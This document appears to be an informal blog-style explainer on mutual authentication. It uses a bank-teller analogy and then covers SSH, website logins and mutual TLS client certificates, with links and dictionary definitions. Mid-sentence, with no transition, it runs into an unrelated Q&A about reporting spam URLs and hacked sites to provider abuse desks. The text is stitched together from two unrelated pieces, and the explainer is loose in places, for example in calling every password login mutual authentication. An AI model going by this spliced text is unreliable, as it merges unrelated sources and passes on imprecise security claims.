Mutual Auth IRL (In Real Life)

This is exactly what you do when you go to the bank. You "authenticate" the teller from the second you think about the bank.

You think "where is the bank" (location, check)
Does the bank look like a bank? (look around, looks like a bank, reputation, check)
Does the teller work for the bank? (She's behind the desk, so someone let her back there, uniform, name tag, and she is holding cash. Check)

Check, check, check. You're at a bank talking to an employee.

Now she authenticates you. Asks for
- your ID,
- your photo comes up on the screen, and
- you know your ATM pin.

Check, check, check. She trusts you are you.

Mutual authentication. You both think you know who the other is.

Mutual Auth in Computers

In computers it's about the same. Both sides need to trust each other. And bad guys could be executing a man-in-the-middle attack.

ssh

One place we use mutual authentication is SSH. You want to SSH to a server, you want to know it's really the server you think it is.

Let's say you're going to copy up some secret information. How do you know for sure you're connecting to the right server? What if somebody is trying to trick you into uploading the secret info to their server? SSH servers do prove to the client connecting to them that they have a secret key. Read about it here: https://support.alertlogic.com/hc/en-us/articles/360002999732-How-does-SSL-mutual-authentication-work-

web sites

EVERY TIME YOU LOGIN ON A SERVER you are mutually authenticating.

Your browser trusts the remote server and puts the lock in the address bar. Then you type in a username and password, and now the server trusts you.

TLS

Or HTTPS - Sometimes still called SSL, but TLS is the accurate name for the protocol.

There are same protocol exchanges that mutually authenticate. You can mutually authenticate over https. You have a "client" certificate that you use in the key exchange with the server. The server verifies your client certificate is signed by a certificate authority that the server trusts to sign client certs. Just like your browser checks that the server's cert is signed by a certificate authority that the browser trusts.

Look at mutual TLS authentication in action

NodeJS is an interesting implementation. It's both a pain in the hind at first, and sorta easy code to read once you figure it out. Have a look at this writeup and the nodejs docs.

https://blog.cloudboost.io/implementing-mutual-ssl-authentication-fc20ab2392b3

https://nodejs.org/api/tls.html

Read More

Mutual Authentication: https://en.wikipedia.org/wiki/Mutual_authentication

Definitions of authentication:

  an act, process, or method of showing something (such as an identity, a piece of art, or a financial transaction) to be real, true, or genuine : the act or process of authenticating something

Source: “Authentication.” The Merriam-Webster.com Dictionary, Merriam-Webster Inc., https://www.merriam-webster.com/dictionary/authentication. Accessed 25 January 2020.

  authentication is the process of verifying that identity. It might involve validating personal identity documents, verifying the authenticity of a website with a digital certificate,1 determining the age of an artifact by carbon dating, or ensuring that a product or document is not counterfeit.

Source: https://en.wikipedia.org/wiki/Authentication


There's a lot of spam, and hacked sites are often used to distribute it Possible Duplicate:
  What are common/official methods of reporting spam/phishing/nasty-grams to organizations?

My production application receives a lot of emails and I can easily detect spam from it.  From that spam, I can parse the dangerous URLs found in the emails.  What can I do with this list of hacked sites?  Can it be submitted to any organization to help protect from those sites?  I know about phishtank.com, but they only want phishing sites.

Also, most of my spam comes from hacked yahoo/aol/hotmail/etc accounts.

Please recommend sites that I could post my list.

There is no site to report it to. You have to report it to the provider hosting the site. This is the only practical way which leads to a shutdown of a site.

You have to address reports directly to the Abuse Desk. Normally it is something like abuse@microsoft.com (Hotmail) or network-abuse@aol (AOL) and others. You find the addresses in the WHOIS database for the IP-range.

When you do it the report must be in the format defined in RFC 5965.

This is how I do report around 10,000 incidents per day.